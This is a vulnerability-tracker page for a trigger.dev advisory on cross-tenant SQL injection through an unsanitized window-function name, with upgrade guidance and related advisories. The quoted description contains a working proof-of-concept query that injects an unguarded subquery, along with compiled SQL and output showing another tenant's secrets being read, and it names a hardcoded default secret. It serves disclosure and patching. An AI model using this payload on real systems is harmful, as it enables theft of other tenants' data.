Patch Forecast
Yellow warning
Plan into this sprint.

GHSA-9q4r-4842-93vw

Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name

Risk score
51/100
CVSS
7.7 v3.1
Published
2 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escap…
Affected
trigger.dev (npm) <= 4.5.5
Fix
Upgrade trigger.dev to 4.5.6 or later.
Exploitation
No known exploitation

Story map

Story map: trigger.devTHE FLAWSTHE FIXGHSA-9q4r-4842-93vwTrigger.dev: Cross-tenant SQLinjection in the TSQL querycompiler (POST /api/v1/query)…CVSS 7.7GHSA-gg6r-gp4c-89hpTrigger.dev: V1 coordinatordefault-secret unauthSocket.IOCVSS 9.2GHSA-pqxw-g93w-hj9xTrigger.dev Self-HostedDeployment: Default Secretsallow Unauthenticated…CVSS 8.1GHSA-xxv7-2vv3-h682Trigger.dev: Server-siderequest forgery via unvalidatedwebhook alert-channel URLCVSS 7.7Upgrade trigger.dev4.5.4or later on your release lineWho is exposedtrigger.dev (npm) < 4.5.4AMBER · PATCH THIS WEEKtrigger.devThe /coordinator Socket.IOnamespace mounts on everywebapp boot and authenticateswith a default secret("coordinator-secret") bakedinto source. The overridevariable isn't documented in the…Where it standsNo known exploitationCONNECTS TOSame weaknessSQL injection (CWE-89)399 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

trigger.dev: Amber, patch this week. The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, R…

The flaws

  • GHSA-9q4r-4842-93vw: Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name (CVSS 7.7)
  • GHSA-gg6r-gp4c-89hp: Trigger.dev: V1 coordinator default-secret unauth Socket.IO (CVSS 9.2)
  • GHSA-pqxw-g93w-hj9x: Trigger.dev Self-Hosted Deployment: Default Secrets allow Unauthenticated Infrastructure Compromise (CVSS 8.1)
  • GHSA-xxv7-2vv3-h682: Trigger.dev: Server-side request forgery via unvalidated webhook alert-channel URL (CVSS 7.7)

The fix

Upgrade trigger.dev: 4.5.4 or later on your release line

Who is exposed: trigger.dev (npm) < 4.5.4

Where it stands

  • No known exploitation

Connects to

Why it is Yellow

  • CVSS 7.7 high
  • On your watchlist: npm

Affected packages

PackageEcosystemVulnerableFixed in
trigger.devnpm<= 4.5.54.5.6

References

Original description

### Summary A cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse. ### Details **Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`: ```ts private visitWindowFunction(node: WindowFunction): string { const args = node.args ? node.args.map((a) => this.visit(a)) : []; const funcCall = `${node.name}(${args.join(", ")})`; // <-- node.name concatenated RAW ... } ``` `node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded: - The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**. - String constants are bound as ClickHouse `query_params` (parameterized). - Other identifiers go through `escapeClickHouseIdentifier`. - Table functions (`url()/file()/remote()/s3()`) are rejected. A **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the "function name" and are printed verbatim. **How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants. **Reachability** — `apps/webapp/app/routes/api.v1.query.ts`: - `body.query` is a raw `z.string()`. - Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**. - The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check. - `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it. ### PoC Reproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data. **1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`): ```sql SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs ``` **2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):** ```sql SELECT count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED dummy(() OVER () AS x FROM trigger_dev.task_runs_v2 AS task_runs WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}), equals(task_runs.project_id, {tsql_val_1: String}), equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table LIMIT 10000 ``` The injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard. **3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`: ``` Seed: org_tenant1 -> payload 'tenant1-public-data' (attacker's own org) org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF', 'VICTIM-SECRET-db_password_hunter2' (victim) Baseline (legitimate tenant1 query, guard = org_tenant1): -> 'tenant1-public-data' (only own data) Exploit (injected subquery, guard STILL org_tenant1): SELECT 1 AS keep, (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, count() OVER () AS w FROM trigger_dev.task_runs_v2 AS task_runs WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...) -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2'] ``` A caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse. **Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 W

Last activity 2 Oct 2026. Patch Forecast updates every hour.